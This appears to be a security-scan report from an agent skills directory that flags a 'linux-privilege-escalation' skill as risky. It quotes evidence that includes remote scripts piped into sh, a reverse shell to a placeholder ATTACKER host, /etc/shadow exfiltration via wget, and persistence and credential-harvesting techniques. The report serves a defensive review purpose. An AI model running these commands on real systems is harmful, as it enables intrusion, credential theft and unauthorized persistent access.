The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill instructs the agent to download and execute scripts directly from external repositories using risky patterns. Evidence includes:
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh in SKILL.md.
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh followed by execution.
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit in KERNEL_EXPLOITS_CHECKLIST.md.
[COMMAND_EXECUTION]: The skill is primarily focused on executing commands to gain root access. This includes:
SUID/SGID binary abuse for shells (find, vim, bash -p).
Exploiting Linux capabilities such as cap_setuid, cap_dac_override, and cap_sys_ptrace to inject into processes or modify root-owned files.
Kernel exploit execution instructions for vulnerabilities like DirtyPipe, DirtyCow, and PwnKit.
Reverse shell patterns such as nc -e /bin/sh ATTACKER PORT detected in SUID_CAPABILITIES_TRICKS.md.
[DATA_EXFILTRATION]: The playbook details specific methods to exfiltrate sensitive files to external servers. Examples include:
wget --post-file=/etc/shadow http://ATTACKER/ in SUID_CAPABILITIES_TRICKS.md.
curl file:///etc/shadow for reading local sensitive data.
Instructions for sniffing network traffic for credentials using tcpdump and scapy.
[CREDENTIALS_UNSAFE]: The skill provides automated and manual methods for harvesting credentials, including:
Searching for private keys (id_rsa, .pem, .key) and configuration files containing secrets.
Reading command history files (.bash_history, .mysql_history) for potential plain-text passwords.
Modifying /etc/passwd and /etc/shadow to add unauthorized users or reset root passwords.
[PERSISTENCE]: The skill provides instructions for maintaining long-term access to a system, such as:
Injecting SSH public keys into /root/.ssh/authorized_keys via Docker mounts.
Creating malicious cron jobs that execute shells periodically.
Modifying systemd unit files and shell profiles to execute code on login or startup.

linux-privilege-escalation